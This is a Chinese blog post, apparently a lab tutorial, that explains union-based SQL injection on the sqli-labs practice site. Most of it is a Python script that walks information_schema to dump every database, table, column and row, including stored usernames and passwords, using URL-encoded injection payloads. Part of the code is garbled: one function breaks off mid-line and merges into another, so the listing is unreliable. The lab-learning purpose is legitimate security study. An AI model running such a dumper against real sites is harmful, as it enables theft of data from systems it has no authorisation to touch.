sql枚举数据库注入脚本

摘要

本篇文章对原理的解释占据主要,输出的美化部分不做详细解释

一. 成果展示

假设我的数据库有这些

sql枚举数据库注入脚本_第1张图片
那么通过sql注入把所有数据库的所有表所有字段和所有的内容查找出来
sql枚举数据库注入脚本_第2张图片
sql枚举数据库注入脚本_第3张图片

二. 原理

对sql-labs的前四关有效,其实程序是根据sqli-lab的特点而不是像强大的工具sqlmap一样可以完全实现sql注入,而今天的核心就在于三个表达式

select * from users where id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata; -- # //得到数据库名
select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'; -- #    //得到表名
select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'; -- #   //得到列名
select * from users where id='-1' union select 1,username,password from users where id=3; -- #     //爆破得到数据

首先了解一下information_schema数据库,我们重点关注他的三个表(columns,schemata,tables)
sql枚举数据库注入脚本_第4张图片
schemata表的schena_name存储了所有数据库名
sql枚举数据库注入脚本_第5张图片
table表的table_schema和table_name存储了所有数据库的所有表
sql枚举数据库注入脚本_第6张图片
同理columns表存储了所有数据库(table_schema)的所有表(table_name)的所有字段(column_name)
sql枚举数据库注入脚本_第7张图片
information_schema讲完了然后讲讲union方式注入
这里用到了union方式注入。因为elect * from users返回三个字段,所以union也要select三个字段1,2,group_concat(schema_name)
sql枚举数据库注入脚本_第8张图片
这里的group_concat(schema_name)是把不同的元素组合在一起,比较一下有和没有group_concat()
sql枚举数据库注入脚本_第9张图片
那么整句话的效果是这样的
sql枚举数据库注入脚本_第10张图片
追加一个id=’-1’的条件让结果只输出union部分
在这里插入图片描述

三. 代码以及解释

import requests
from bs4 import BeautifulSoup
import re

def remove(schemas):
    schemas.remove('mysql')
    schemas.remove('sys')
    schemas.remove('information_schema')
    schemas.remove('performance_schema')

def show_db(schema):
    l=len(schema)+1 if len(schema)> len('databases()') else len('databases()')+1
    print('+'+'-'*l+'+' )  
    print('|'+'{0:^{1}}'.format('database()',l)+'|')
    print('+'+'-'*l+'+')
    print('|'+'{0:^{1}}'.format(schema,l)+'|')
    print('+'+'-'*l+'+')
def num_chinese(stri):   #字符串中中文的个数
    al=re.compile('[\u4e00-\u9fff]+').findall(stri)
    num=([len(i) for i in al])
    am=0
    for k in num:
        am=am+k
    return am

def lens(columns, items):  #计算每个field的最大长度,用来输出美化
    l=[len(i) for i in columns]
    for item in items:
        tmp=[len(i) for i in item if len(l)==len(item) ]  #数据不全pass
        for locat,i in enumerate(item):
            if re.compile('[\u4e00-\u9fff]+').findall(i) is not [] :   #存在中文
                am=num_chinese(i)
                tmp[locat]=tmp[locat]+am
        for k in range(len(l)):
            if l[k] len('table()') else len('table()')+1
    print('+'+'-'*l+'+' )  
    print('|'+'{0:^{1}}'.format('table()',l)+'|')
    print('+'+'-'*l+'+')
    print('|'+'{0:^{1}}'.format(table,l)+'|')
    print('+'+'-'*l+'+')

    for item in items:  #不齐的数据删掉
        if len(item) != len(columns):
            items.remove(item)
    l = lens(columns,items)
    print_line(l)
    print('| ',end='')
    for k in range(len(columns)):
        print('{1:^{0}}'.format(l[k]-num_chinese(columns[k]),columns[k])+' | ',end='') 
    print('')
    print_line(l)
    for it in items: 
        print('| ',end='')
        for k in range(len(it)):
            print('{1:<{0}}'.format(l[k]-num_chinese(it[k]),it[k])+' | ',end='') 
        print('')
    print_line(l)

def get_youwant(URL, type):
    pat = '(.*)'+type+':'  # (.*)table:
    comp = type+':'  # table:
    connect = requests.get(url=URL)
    connect.encoding='utf-8'   #解决中文乱码
    html = BeautifulSoup(BeautifulSoup(connect.text).prettify())
    str = html.find_all(text=re.compile(comp))
    try:
        return re.sub(pattern=pat, repl='', string=str[0]).strip().split(',')
    except:
        return [] 
        
def sqli(URL):
    # http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat('schemas:',group_concat(schema_name)) from information_schema.schemata -- #
    payload = URL+"union%20select%201,2,concat('schemas:',group_concat(schema_name))%20from%20information_schema.schemata%23"
    schemas = get_youwant(payload, 'schemas')
    remove(schemas)
    for schema in schemas:
        show_db(schema)
        type = 'tables'
        # http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,concat('tables:',group_concat(table_name)),3 from information_schema.tables where table_schema= 'schema'; -- #
        payload = URL+"union%20select%201,concat('"+type + \
            ":',group_concat(table_name)),3%20from%20information_schema.tables%20where%20table_schema=%20%27" + \
            schema+"%27;%20--%20#"
        tables = get_youwant(payload, type)
        for table in tables:
            type = 'columns'
            # http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,concat('columns:',group_concat(table_name)),3 from information_schema.columns where table_name='table' and table_schema= 'schema'; -- #
            payload=URL+"union%20select%201,concat('"+type+":',group_concat(column_name)),3%20from%20information_schema.columns%20where%20table_name=%20%27"+table+"%27%20and%20table_schema=%27"+schema+"%27;%20--%20#"
            columns = get_youwant(payload, type)
            seg=(",%27|%27,".join(columns))  # 一次性获取所有字段的所有值   email,'|',tel,'|',password,'|',name,'|',type
            # http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,concat('items:',group_concat(email,'|',tel,'|',password,'|',name,'|',type)),3 from schema.table; -- #
            payload=URL+"union%20select%201,2,%20concat(%27items:%27,%20group_concat(" + seg + "))%20from%20" + schema+"."+table + ";%20--%20#"
            items=get_youwant(payload,'items')
            show_tab(columns,[i.split('|') for i in items],table) 
if __name__ == "__main__":
    URL="http://127.0.0.1/sqli-labs/Less-1/?id=-1'"
    # URL='http://127.0.0.1/sqli-labs/Less-2/?id=-1 '
    # URL="http://127.0.0.1/sqli-labs/Less-3/?id=-1') "
    # URL='http://127.0.0.1/sqli-labs/Less-4/?id=-1") '
    sqli(URL)

代码解释

两个重要的函数sqli(URL):get_youwant(URL, type):
其他的函数用作输出的美化
get_youwant(URL,type):类似于爬虫,根据你输入的URL和想要获取的类型(schemas,tables,columns)返回一个列表
比如

get_youwant("http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata -- #", "schemas")

经过页面元素过滤(自设schemas:过滤点)之后,返回我的所有数据库名称
sql枚举数据库注入脚本_第11张图片

['information_schema', 'challenges', 'mysql', 'performance_schema', 'pikachu', 'pkxss', 'security', 'sys', 'test', 'testt', 'www']

sqli(URL):函数就是不断调用get_youwant(URL, type):获取内容并且格式化输出

四. 不足之处

1.只是根据报错注入,这是sql注入最简单的一种,而且大部分情况下页面是不会输出错误的,所以他在sqli-labs中只是1~4关最初级的关卡。
2.基于sql-labs现有的id属性,而不是自动发现注入点。
等等这些问题以后的文章进行改进

你可能感兴趣的:(python,sqli,安全,sqlite)